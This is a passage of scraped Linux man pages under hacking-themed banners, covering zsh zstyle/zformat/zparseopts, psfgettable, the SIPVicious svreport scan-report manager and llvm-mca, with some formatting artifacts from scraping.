Delete style definitions. Without arguments all definitions are deleted, with a pattern all definitions for that pattern are deleted and if any styles are given, then only those styles are deleted for the pattern.

zstyle -g name [ pattern [ style ] ]
Retrieve a style definition. The name is used as the name of an array in which the results are stored. Without any further arguments, all patterns defined are returned. With a pattern the styles defined for that pattern are returned and with both a pattern and a style, the value strings of that combination is returned.

The other forms can be used to look up or test styles for a given context.

zstyle -s context style name [ sep ] The parameter name is set to the value of the style interpreted as a string. If the value contains several strings they are concatenated with spaces (or with the sep string if that is given) between them.

Return 0 if the style is set, 1 otherwise.

zstyle -b context style name
The value is stored in name as a boolean, i.e. as the string `yes*’ if the value has only one string and that string is equal to one* of `yes*’, `true’, `on’, or `1’. If the value is any other* string or has more than one string, the parameter is set to `no*’.*

Return 0 if name is set to `yes’, 1 otherwise.

zstyle -a context style name
The value is stored in name as an array. If name is declared as an associative array, the first, third, etc. strings are used as the keys and the other strings are used as the values.

Return 0 if the style is set, 1 otherwise.

zstyle -t context style [ string … ]

zstyle -T context style [ string … ] Test the value of a style, i.e. the -t option only returns a status (sets $?). Without any string the return status is zero if the style is defined for at least one matching pattern, has only one string in its value, and that is equal to one of `true*’, `yes’, `on’ or* `1*’. If any strings are given the status is zero if and only if* at least one of the strings is equal to at least one of the strings in the value. If the style is defined but doesn’t match, the return status is 1*. If the style is not defined, the status is* 2*.*

The -T option tests the values of the style like -t*, but it* returns status zero (rather than 2*) if the style is not defined for any* matching pattern.

zstyle -m context style pattern
Match a value. Returns status zero if the pattern matches at least one of the strings in the value.

zformat -f param format spec …

zformat -F param format spec …

zformat -a array sep spec … This builtin provides different forms of formatting. The first form is selected with the -f option. In this case the format string will be modified by replacing sequences starting with a percent sign in it with strings from the specs. Each spec should be of the form `char**:string’ which will cause every appearance of the sequence `%char’ in format to be replaced by the string. The `%’ sequence may also contain optional minimum and maximum field width specifications between the `%’ and the `char’ in the form `%min.maxc***’,* i.e. the minimum field width is given first and if the maximum field width is used, it has to be preceded by a dot. Specifying a minimum field width makes the result be padded with spaces to the right if the string is shorter than the requested width. Padding to the left can be achieved by giving a negative minimum field width. If a maximum field width is specified, the string will be truncated after that many characters. After all `%’ sequences for the given specs have been processed, the resulting string is stored in the parameter param.

The %-escapes also understand ternary expressions in the form used by prompts. The % is followed by a `(’ and then an ordinary format specifier character as described above. There may be a set of digits either before or after the `(’; these specify a test number, which defaults to zero. Negative numbers are also allowed. An arbitrary delimiter character follows the format specifier, which is followed by a piece of `true’ text, the delimiter character again, a piece of `false’ text, and a closing parenthesis. The complete expression (without the digits) thus looks like `%(X.text1.text2)’, except that the `.’ character is arbitrary. The value given for the format specifier in the char**:string expressions is evaluated as a mathematical expression, and compared with the test number. If they are the same, text1 is output, else text2 is output. A parenthesis may be escaped in text2 as %). Either of text1 or text2 may contain nested %-escapes.

For example:

zformat -f REPLY “The answer is ‘%3(c.yes.no)’.” c:3

outputs “The answer is ‘yes’.” to REPLY since the value for the format specifier c is 3, agreeing with the digit argument to the ternary expression.

With -F instead of -f*, ternary expressions choose between the* `true’ or `false’ text on the basis of whether the format specifier is present and non-empty. A test number indicates a minimum width for the value given in the format specifier. Negative numbers reverse this, so the test is for whether the value exceeds a maximum width.

The form, using the -a option, can be used for aligning strings. Here, the specs are of the form `left**:**right’ where `left’ and `right’ are arbitrary strings. These strings are modified by replacing the colons by the sep string and padding the left strings with spaces to the right so that the sep strings in the result (and hence the right strings after them) are all aligned if the strings are printed below each other. All strings without a colon are left unchanged and all strings with an empty right string have the trailing colon removed. In both cases the lengths of the strings are not used to determine how the other strings are to be aligned. A colon in the left string can be escaped with a backslash. The resulting strings are stored in the array.

zregexparse
This implements some internals of the _regex_arguments function.

zparseopts [ -D -E -F -K -M ] [ -a array ] [ -A assoc ] [ - ] spec …
This builtin simplifies the parsing of options in positional parameters, i.e. the set of arguments given by $*. Each spec describes one option and must be of the form `opt[**=array]’. If an option described by opt is found in the positional parameters it is copied into the array specified with the -a option; if the optional `=**array’ is given, it is instead copied into that array, which should be declared as a normal array and never as an associative array.

Note that it is an error to give any spec without an `**=**array’ unless one of the -a or -A options is used.

Unless the -E option is given, parsing stops at the first string that isn’t described by one of the specs. Even with -E*,* parsing always stops at a positional parameter equal to `-’ or `’. See also -F*.*

The opt description must be one of the following. Any of the special characters can appear in the option name provided it is preceded by a backslash.

name

name**+** The name is the name of the option without the leading `-’. To specify a GNU-style long option, one of the usual two leading `-’ must be included in name; for example, a `–file*’ option is* represented by a name of `-file*’.*

If a `+’ appears after name, the option is appended to array each time it is found in the positional parameters; without the `+ only the last occurrence of the option is preserved.

If one of these forms is used, the option takes no argument, so parsing stops if the next positional parameter does not also begin with `- (unless the -E option is used).

name**:**

name**:-**

name**::** If one or two colons are given, the option takes an argument; with one colon, the argument is mandatory and with two colons it is optional. The argument is appended to the array after the option itself.

An optional argument is put into the same array element as the option name (note that this makes empty strings as arguments indistinguishable). A mandatory argument is added as a separate element unless the `:-’ form is used, in which case the argument is put into the same element.

A `+’ as described above may appear between the name and the first colon.

In all cases, option-arguments must appear either immediately following the option in the same positional parameter or in the next one. Even an optional argument may appear in the next parameter, unless it begins with a `-’. There is no special handling of `=’ as with GNU-style argument parsers; given the spec `-foo:’, the positional parameter `–foo=bar*’* is parsed as `–foo*’ with an argument of `=bar’.*

When the names of two options that take no arguments overlap, the longest one wins, so that parsing for the specs `-foo -foobar*’ (for example) is* unambiguous. However, due to the aforementioned handling of option-arguments, ambiguities may arise when at least one overlapping spec takes an argument, as in `-foo: -foobar*’. In that case, the last matching* spec wins.

The options of zparseopts itself cannot be stacked because, for example, the stack `-DEK*’ is indistinguishable from a spec for* the GNU-style long option `–DEK*’. The options of* zparseopts itself are:

-a array As described above, this names the default array in which to store the recognised options.

-A assoc
If this is given, the options and their values are also put into an associative array with the option names as keys and the arguments (if any) as the values.

-D
If this option is given, all options found are removed from the positional parameters of the calling shell or shell function, up to but not including any not described by the specs. If the first such parameter is `- or `’, it is removed as well. This is similar to using the shift builtin.

-E
This changes the parsing rules to not stop at the first string that isn’t described by one of the specs. It can be used to test for or (if used together with -D*) extract options and their* arguments, ignoring all other options and arguments that may be in the positional parameters. As indicated above, parsing still stops at the first `-’ or `’ not described by a spec, but it is not removed when used with -D*.*

-F
If this option is given, zparseopts immediately stops at the first option-like parameter not described by one of the specs, prints an error message, and returns status 1. Removal (-D*) and extraction* (-E*) are not performed, and option arrays are not updated. This* provides basic validation for the given options.

Note that the appearance in the positional parameters of an option without its required argument always aborts parsing and returns an error as described above regardless of whether this option is used.

-K
With this option, the arrays specified with the -a option and with the `*=array’ forms are kept unchanged when none of the specs for them is used. Otherwise the entire array is replaced when any of the specs is used. Individual elements of associative arrays specified with the -A option are preserved by -K. This allows assignment of default values to arrays before calling zparseopts.*

-M
This changes the assignment rules to implement a map among equivalent option names. If any spec uses the `=array’ form, the string array is interpreted as the name of another spec, which is used to choose where to store the values. If no other spec is found, the values are stored as usual. This changes only the way the values are stored, not the way $* is parsed, so results may be unpredictable if the `name+’ specifier is used inconsistently.

For example,

set – -a -bx -c y -cz baz -cend zparseopts a=foo b:=bar c+:=bar

will have the effect of

foo=(-a) bar=(-b x -c y -c z)

The arguments from `baz*’ on will not be used.*

As an example for the -E option, consider:

set – -a x -b y -c z arg1 arg2 zparseopts -E -D b:=bar

will have the effect of

bar=(-b y) set – -a x -c z arg1 arg2

I.e., the option -b and its arguments are taken from the positional parameters and put into the array bar*.*

The -M option can be used like this:

set – -a -bx -c y -cz baz -cend zparseopts -A bar -M a=foo b+: c:=b

to have the effect of

foo=(-a) bar=(-a ’’ -b xyz)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1872 - Linux cli command psfgettable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psfgettable and provides detailed information about the command psfgettable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psfgettable.

NAME 🖥️ psfgettable 🖥️

extract the embedded Unicode character table from a console font

SYNOPSIS

psfgettable fontfile [outfile]

DESCRIPTION

psfgettable extracts the embedded Unicode character table from a .psf format console font into a human readable ASCII file of the format used by psfaddtable(1). If the font file name is a single dash (-), the font is read from standard input.

SEE ALSO

setfont(8), psfaddtable(1), psfstriptable(1), psfxtable(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1873 - Linux cli command svreport

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svreport and provides detailed information about the command svreport, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svreport.

NAME 🖥️ svreport 🖥️

report engine manage sessions from previous scans with SIPVicious

SYNOPSIS

svreport.py [command] [options]

DESCRIPTION

Supported commands:

- list: lists all scans

- export:
exports the given scan to a given format

- delete:
deletes the scan

- stats:
print out some statistics of interest

- search:
search for a specific string in the user agent (svmap)

examples:

svreport.py list

svreport.py export -f pdf -o scan1.pdf -s scan1

svreport.py delete -s scan1

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
Increase verbosity

-q, –quiet
Quiet mode

-t SESSIONTYPE, –type=SESSIONTYPE
Type of session. This is usually either svmap, svwar or svcrack. If not set I will try to find the best match

-s SESSION, –session=SESSION
Name of the session

-f FORMAT, –format=FORMAT
Format type. Can be stdout, pdf, xml, csv or txt

-o OUTPUTFILE, –output=OUTPUTFILE
Output filename

-n
Do not resolve the ip address

-c, –count
Used togather with ’list’ command to count the number of entries

SIPVicious report engine manages sessions from previous scans with SIPVicious tools and allows you to export these scans.

Copyright (C) 2021 Sandro Gauci <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

SEE ALSO

The full documentation for svreport.py can be found on GitHub at <https://github.com/enablesecurity/sipvicious/wiki>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1874 - Linux cli command llvm-mca-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-mca-16 and provides detailed information about the command llvm-mca-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-mca-16.

NAME 🖥️ llvm-mca-16 🖥️

mca - LLVM Machine Code Analyzer

SYNOPSIS

llvm-mca [options] [input]

DESCRIPTION

llvm-mca is a performance analysis tool that uses information available in LLVM (e.g. scheduling models) to statically measure the performance of machine code in a specific CPU.

Performance is measured in terms of throughput as well as processor resource consumption. The tool currently works for processors with a backend for which there is a scheduling model available in LLVM.

The main goal of this tool is not just to predict the performance of the code when run on the target, but also help with diagnosing potential performance issues.

Given an assembly code sequence, llvm-mca estimates the Instructions Per Cycle (IPC), as well as hardware resource pressure. The analysis and reporting style were inspired by the IACA tool from Intel.

For example, you can compile code with clang, output assembly, and pipe it directly into llvm-mca for analysis:

$ clang foo.c -O2 -target x86_64-unknown-unknown -S -o - | llvm-mca -mcpu=btver2

Or for Intel syntax:

$ clang foo.c -O2 -target x86_64-unknown-unknown -mllvm -x86-asm-syntax=intel -S -o - | llvm-mca -mcpu=btver2

(llvm-mca detects Intel syntax by the presence of an .intel_syntax directive at the beginning of the input. By default its output syntax matches that of its input.)

Scheduling models are not just used to compute instruction latencies and throughput, but also to understand what processor resources are available and how to simulate them.

By design, the quality of the analysis conducted by llvm-mca is inevitably affected by the quality of the scheduling models in LLVM.

If you see that the performance report is not accurate for a processor, please file a bug against the appropriate backend.

OPTIONS

If input is “-” or omitted, llvm-mca reads from standard input. Otherwise, it will read from the specified filename.

If the -o option is omitted, then llvm-mca will send its output to standard output if the input is from standard input. If the -o option specifies “-”, then the output will also be sent to standard output.

-help
Print a summary of command line options.

-o <filename>
Use <filename> as the output filename. See the summary above for more details.

-mtriple=<target triple>
Specify a target triple string.

-march=<arch>
Specify the architecture for which to analyze the code. It defaults to the host default target.

-mcpu=<cpuname>
Specify the processor for which to analyze the code. By default, the cpu name is autodetected from the host.

-output-asm-variant=<variant id>
Specify the output assembly variant for the report generated by the tool. On x86, possible values are [0, 1]. A value of 0 (vic. 1) for this flag enables the AT&T (vic. Intel) assembly format for the code printed out by the tool in the analysis report.

-print-imm-hex
Prefer hex format for numeric literals in the output assembly printed as part of the report.

-dispatch=<width>
Specify a different dispatch width for the processor. The dispatch width defaults to field ‘IssueWidth’ in the processor scheduling model. If width is zero, then the default dispatch width is used.

-register-file-size=<size>
Specify the size of the register file. When specified, this flag limits how many physical registers are available for register renaming purposes. A value of zero for this flag means “unlimited number of physical registers”.

-iterations=<number of iterations>
Specify the number of iterations to run. If this flag is set to 0, then the tool sets the number of iterations to a default value (i.e. 100).

-noalias=<bool>
If set, the tool assumes that loads and stores don’t alias. This is the default behavior.

-lqueue=<load queue size>
Specify the size of the load queue in the load/store unit emulated by the tool. By default, the tool assumes an unbound number of entries in the load queue. A value of zero for this flag is ignored, and the default load queue size is used instead.

-squeue=<store queue size>
Specify the size of the store queue in the load/store unit emulated by the tool. By default, the tool assumes an unbound number of entries in the store queue. A value of zero for this flag is ignored, and the default store queue size is used instead.

-timeline
Enable the timeline view.

-timeline-max-iterations=<iterations>
Limit the number of iterations to print in the timeline view. By default, the timeline view prints information for up to 10 iterations.

-timeline-max-cycles=<cycles>
Limit the number of cycles in the timeline view, or use 0 for no limit. By default, the number of cycles is set to 80.

-resource-pressure
Enable the resource pressure view. This is enabled by default.

-register-file-stats
Enable register file usage statistics.

-dispatch-stats
Enable extra dispatch statistics. This view collects and analyzes instruction dispatch events, as well as static/dynamic dispatch stall events. This view is disabled by default.

-scheduler-stats
Enable extra scheduler statistics. This view collects and analyzes instruction issue events. This view is disabled by default.

-retire-stats
Enable extra retire control unit statistics. This view is disabled by default.

-instruction-info
Enable the instruction info view. This is enabled by default.

-show-encoding
Enable the printing of instruction encodings within the instruction info view.

-show-barriers
Enable the printing of LoadBarrier and StoreBarrier flags within the instruction info view.

-all-stats
Print all hardware statistics. This enables extra statistics related to the dispatch logic, the hardware schedulers, the register file(s), and the retire control unit. This option is disabled by default.

-all-views
Enable all the view.

-instruction-tables
Prints resource pressure information based on the static information available from the processor model. This differs from the resource pressure view because it doesn’t require that the code is simulated. It instead prints the theoretical uniform distribution of resource pressure for every instruction in sequence.

-bottleneck-analysis
Print information about bottlenecks that affect the throughput. This analysis can be expensive, and it is disabled by default. Bottlenecks are highlighted in the summary view. Bottleneck analysis is currently not supported for processors with an in-order backend.

-json
Print the requested views in valid JSON format. The instructions and the processor resources are printed as members of special top level JSON objects. The individual views refer to them by index. However, not all views are currently supported. For example, the report from the bottleneck analysis is not printed out in JSON. All the default views are currently supported.

-disable-cb
Force usage of the generic CustomBehaviour and InstrPostProcess classes rather than using the target specific implementation. The generic classes never detect any custom hazards or make any post processing modifications to instructions.

-disable-im
Force usage of the generic InstrumentManager rather than using the target specific implementation. The generic class creates Instruments that provide no extra information, and InstrumentManager never overrides the default schedule class for a given instruction.

EXIT STATUS

llvm-mca returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns 1.

USING MARKERS TO ANALYZE SPECIFIC CODE BLOCKS

llvm-mca allows for the optional usage of special code comments to mark regions of the assembly code to be analyzed. A comment starting with substring LLVM-MCA-BEGIN marks the beginning of an analysis region. A comment starting with substring LLVM-MCA-END marks the end of a region. For example:

LLVM-MCA-BEGIN

  ...
# LLVM-MCA-END

If no user-defined region is specified, then llvm-mca assumes a default region which contains every instruction in the input file. Every region is analyzed in isolation, and the final performance report is the union of all the reports generated for every analysis region.

Analysis regions can have names. For example:

LLVM-MCA-BEGIN A simple example

  add %eax, %eax
# LLVM-MCA-END

The code from the example above defines a region named “A simple example” with a single instruction in it. Note how the region name doesn’t have to be repeated in the LLVM-MCA-END directive. In the absence of overlapping regions, an anonymous LLVM-MCA-END directive always ends the currently active user defined region.

Example of nesting regions:

LLVM-MCA-BEGIN foo

  add %eax, %edx
# LLVM-MCA-BEGIN bar
  sub %eax, %edx
# LLVM-MCA-END bar
# LLVM-MCA-END foo

Example of overlapping regions:

LLVM-MCA-BEGIN foo

  add %eax, %edx
# LLVM-MCA-BEGIN bar
  sub %eax, %edx
# LLVM-MCA-END foo
  add %eax, %edx
# LLVM-MCA-END bar

Note that multiple anonymous regions cannot overlap. Also, overlapping regions cannot have the same name.

There is no support for marking regions from high-level source code, like C or C++. As a workaround, inline assembly directives may be used:

int foo(int a, int b) { __asm volatile("# LLVM-MCA-BEGIN foo":::“memory”); a += 42; __asm volatile("# LLVM-MCA-END":::“memory”); a *= b; return a; }

However, this interferes with optimizations like loop vectorization and may have an impact on the code generated. This is because the __asm statements are seen as real code having important side effects, which limits how the code around them can be transformed. If users want to make use of inline assembly to emit markers, then the recommendation is to always verify that the output assembly is equivalent to the assembly generated in the absence of markers. The Clang options to emit optimization reports can also help in detecting missed optimizations.

INSTRUMENT REGIONS

An InstrumentRegion describes a region of assembly code guarded by special LLVM-MCA comment directives.

LLVM-MCA-<INSTRUMENT_TYPE>

  ...  ## asm

where INSTRUMENT_TYPE is a type defined by the target and expects to use data.

A comment starting with substring LLVM-MCA-<INSTRUMENT_TYPE> brings data into scope for llvm-mca to use in its analysis for all following instructions.

If a comment with the same INSTRUMENT_TYPE is found later in the instruction list, then the original InstrumentRegion will be automatically ended, and a new InstrumentRegion will begin.

If there are comments containing the different INSTRUMENT_TYPE, then both data sets remain available. In contrast with an AnalysisRegion, an InstrumentRegion does not need a comment to end the region.

Comments that are prefixed with LLVM-MCA- but do not correspond to a valid INSTRUMENT_TYPE for the target cause an error, except for BEGIN and END, since those correspond to AnalysisRegions. Comments that do not start with LLVM-MCA- are ignored by :program llvm-mca.

An instruction (a MCInst) is added to an InstrumentRegion R only if its location is in range [R.RangeStart, R.RangeEnd].

On RISCV targets, vector instructions have different behaviour depending on the LMUL. Code can be instrumented with a comment that takes the following form:

LLVM-MCA-RISCV-LMUL <M1|M2|M4|M8|MF2|MF4|MF8>

The RISCV InstrumentManager will override the schedule class for vector instructions to use the scheduling behaviour of its pseudo-instruction which is LMUL dependent. It makes sense to place RISCV instrument comments directly after vset{i}vl{i} instructions, although they can be placed anywhere in the program.

Example of program with no call to vset{i}vl{i}:

LLVM-MCA-RISCV-LMUL M2

vadd.vv v2, v2, v2

Example of program with call to vset{i}vl{i}:

vsetvli zero, a0, e8, m1, tu, mu # LLVM-MCA-RISCV-LMUL M1 vadd.vv v2, v2, v2

Example of program with multiple calls to vset{i}vl{i}:

vsetvli zero, a0, e8, m1, tu, mu # LLVM-MCA-RISCV-LMUL M1 vadd.vv v2, v2, v2 vsetvli zero, a0, e8, m8, tu, mu # LLVM-MCA-RISCV-LMUL M8 vadd.vv v2, v2, v2

Example of program with call to vsetvl:

vsetvl rd, rs1, rs2 # LLVM-MCA-RISCV-LMUL M1 vadd.vv v12, v12, v12 vsetvl rd, rs1, rs2 # LLVM-MCA-RISCV-LMUL M4 vadd.vv v12, v12, v12

HOW LLVM-MCA WORKS

llvm-mca takes assembly code as input. The assembly code is parsed into a sequence of MCInst with the help of the existing LLVM target assembly parsers. The parsed sequence of MCInst is then analyzed by a Pipeline module to generate a performance report.

The Pipeline module simulates the execution of the machine code sequence in a loop of iterations (default is 100). During this process, the pipeline collects a number of execution related statistics. At the end of this process, the pipeline generates and prints a report from the collected statistics.

Here is an example of a performance report generated by the tool for a dot-product of two packed float vectors of four elements. The analysis is conducted for target x86, cpu btver2. The following result can be produced via the following command using the example located at test/tools/llvm-mca/X86/BtVer2/dot-product.s:

$ llvm-mca -mtriple=x86_64-unknown-unknown -mcpu=btver2 -iterations=300 dot-product.s

Iterations: 300 Instructions: 900 Total Cycles: 610 Total uOps: 900

Dispatch Width:    2
uOps Per Cycle:    1.48
IPC:               1.48
Block RThroughput: 2.0


Instruction Info:
[1]: #uOps
[2]: Latency
[3]: RThroughput
[4]: MayLoad
[5]: MayStore
[6]: HasSideEffects (U)

[1]    [2]    [3]    [4]    [5]    [6]    Instructions:
 1      2     1.00                        vmulps      %xmm0, %xmm1, %xmm2
 1      3     1.00                        vhaddps     %xmm2, %xmm2, %xmm3
 1      3     1.00                        vhaddps     %xmm3, %xmm3, %xmm4


Resources:
[0]   - JALU0
[1]   - JALU1
[2]   - JDiv
[3]   - JFPA
[4]   - JFPM
[5]   - JFPU0
[6]   - JFPU1
[7]   - JLAGU
[8]   - JMul
[9]   - JSAGU
[10]  - JSTC
[11]  - JVALU0
[12]  - JVALU1
[13]  - JVIMUL


Resource pressure per iteration:
[0]    [1]    [2]    [3]    [4]    [5]    [6]    [7]    [8]    [9]    [10]   [11]   [12]   [13]
 -      -      -     2.00   1.00   2.00   1.00    -      -      -      -      -      -      -

Resource pressure by instruction:
[0]    [1]    [2]    [3]    [4]    [5]    [6]    [7]    [8]    [9]    [10]   [11]   [12]   [13]   Instructions:
 -      -      -      -     1.00    -     1.00    -      -      -      -      -      -      -     vmulps      %xmm0, %xmm1, %xmm2
 -      -      -     1.00    -     1.00    -      -      -      -      -      -      -      -     vhaddps     %xmm2, %xmm2, %xmm3
 -      -      -     1.00    -     1.00    -      -      -      -      -      -      -      -     vhaddps     %xmm3, %xmm3, %xmm4

According to this report, the dot-product kernel has been executed 300 times, for a total of 900 simulated instructions. The total number of simulated micro opcodes (uOps) is also 900.

The report is structured in three main sections. The first section collects a few performance numbers; the goal of this section is to give a very quick overview of the performance throughput. Important performance indicators are IPC, uOps Per Cycle, and Block RThroughput (Block Reciprocal Throughput).

Field DispatchWidth is the maximum number of micro opcodes that are dispatched to the out-of-order backend every simulated cycle. For processors with an in-order backend, DispatchWidth is the maximum number of micro opcodes issued to the backend every simulated cycle.

IPC is computed dividing the total number of simulated instructions by the total number of cycles.

Field Block RThroughput is the reciprocal of the block throughput. Block throughput is a theoretical quantity computed as the maximum number of blocks (i.e. iterations) that can be executed per simulated clock cycle in the absence of loop carried dependencies. Block throughput is superiorly limited by the dispatch rate, and the availability of hardware resources.

In the absence of loop-carried data dependencies, the observed IPC tends to a theoretical maximum which can be computed by dividing the number of instructions of a single iteration by the Block RThroughput.

Field ‘uOps Per Cycle’ is computed dividing the total number of simulated micro opcodes by the total number of cycles. A delta between Dispatch Width and this field is an indicator of a performance issue. In the absence of loop-carried data dependencies, the observed ‘uOps Per Cycle’ should tend to a theoretical maximum throughput which can be computed by dividing the number of uOps of a single iteration by the Block RThroughput.

Field uOps Per Cycle is bounded from above by the dispatch width. That is because the dispatch width limits the maximum size of a dispatch group. Both IPC and ‘uOps Per Cycle’ are limited by the amount of hardware parallelism. The availability of hardware resources affects the resource pressure distribution, and it limits the number of instructions that can be executed in parallel every cycle. A delta between Dispatch Width and the theoretical maximum uOps per Cycle (computed by dividing the number of uOps of a single iteration by the Block RThroughput) is an indicator of a performance bottleneck caused by the lack of hardware resources. In general, the lower the Block RThroughput, the better.

In this example, uOps per iteration/Block RThroughput is 1.50. Since there are no loop-carried dependencies, the observed uOps Per Cycle is expected to approach 1.50 when the number of iterations tends to infinity. The delta between the Dispatch Width (2.00), and the theoretical maximum uOp throughput (1.50) is an indicator of a performance bottleneck caused by the lack of hardware resources, and the Resource pressure view can help to identify the problematic resource usage.

The second section of the report is the instruction info view. It shows the latency and reciprocal throughput of every instruction in the sequence. It also reports extra information related to the number of micro opcodes, and opcode properties (i.e., ‘MayLoad’, ‘MayStore’, and ‘HasSideEffects’).

Field RThroughput is the reciprocal of the instruction throughput. Throughput is computed as the maximum number of instructions of a same type that can be executed per clock cycle in the absence of operand dependencies. In this example, the reciprocal throughput of a vector float multiply is 1 cycles/instruction. That is because the FP multiplier JFPM is only available from pipeline JFPU1.

Instruction encodings are displayed within the instruction info view when flag -show-encoding is specified.

Below is an example of -show-encoding output for the dot-product kernel:

Instruction Info: [1]: #uOps [2]: Latency [3]: RThroughput [4]: MayLoad [5]: MayStore [6]: HasSideEffects (U) [7]: Encoding Size

[1]    [2]    [3]    [4]    [5]    [6]    [7]    Encodings:                    Instructions:
 1      2     1.00                         4     c5 f0 59 d0                   vmulps %xmm0, %xmm1, %xmm2
 1      4     1.00                         4     c5 eb 7c da                   vhaddps        %xmm2, %xmm2, %xmm3
 1      4     1.00                         4     c5 e3 7c e3                   vhaddps        %xmm3, %xmm3, %xmm4

The Encoding Size column shows the size in bytes of instructions. The Encodings column shows the actual instruction encodings (byte sequences in hex).

The third section is the Resource pressure view. This view reports the average number of resource cycles consumed every iteration by instructions for every processor resource unit available on the target. Information is structured in two tables. The first table reports the number of resource cycles spent on average every iteration. The second table correlates the resource cycles to the machine instruction in the sequence. For example, every iteration of the instruction vmulps always executes on resource unit [6] (JFPU1 - floating point pipeline #1), consuming an average of 1 resource cycle per iteration. Note that on AMD Jaguar, vector floating-point multiply can only be issued to pipeline JFPU1, while horizontal floating-point additions can only be issued to pipeline JFPU0.

The resource pressure view helps with identifying bottlenecks caused by high usage of specific hardware resources. Situations with resource pressure mainly concentrated on a few resources should, in general, be avoided. Ideally, pressure should be uniformly distributed between multiple resources.

Timeline View

The timeline view produces a detailed report of each instruction’s state transitions through an instruction pipeline. This view is enabled by the command line option -timeline. As instructions transition through the various stages of the pipeline, their states are depicted in the view report. These states are represented by the following characters:

  • D : Instruction dispatched.

  • e : Instruction executing.

  • E : Instruction executed.

  • R : Instruction retired.

  • = : Instruction already dispatched, waiting to be executed.

  • - : Instruction executed, waiting to be retired.

Below is the timeline view for a subset of the dot-product example located in test/tools/llvm-mca/X86/BtVer2/dot-product.s and processed by llvm-mca using the following command:

$ llvm-mca -mtriple=x86_64-unknown-unknown -mcpu=btver2 -iterations=3 -timeline dot-product.s

Timeline view: 012345 Index 0123456789

[0,0]     DeeER.    .    .   vmulps   %xmm0, %xmm1, %xmm2
[0,1]     D==eeeER  .    .   vhaddps  %xmm2, %xmm2, %xmm3
[0,2]     .D====eeeER    .   vhaddps  %xmm3, %xmm3, %xmm4
[1,0]     .DeeE-----R    .   vmulps   %xmm0, %xmm1, %xmm2
[1,1]     . D=eeeE---R   .   vhaddps  %xmm2, %xmm2, %xmm3
[1,2]     . D====eeeER   .   vhaddps  %xmm3, %xmm3, %xmm4
[2,0]     .  DeeE-----R  .   vmulps   %xmm0, %xmm1, %xmm2
[2,1]     .  D====eeeER  .   vhaddps  %xmm2, %xmm2, %xmm3
[2,2]     .   D======eeeER   vhaddps  %xmm3, %xmm3, %xmm4


Average Wait times (based on the timeline view):
[0]: Executions
[1]: Average time spent waiting in a scheduler's queue
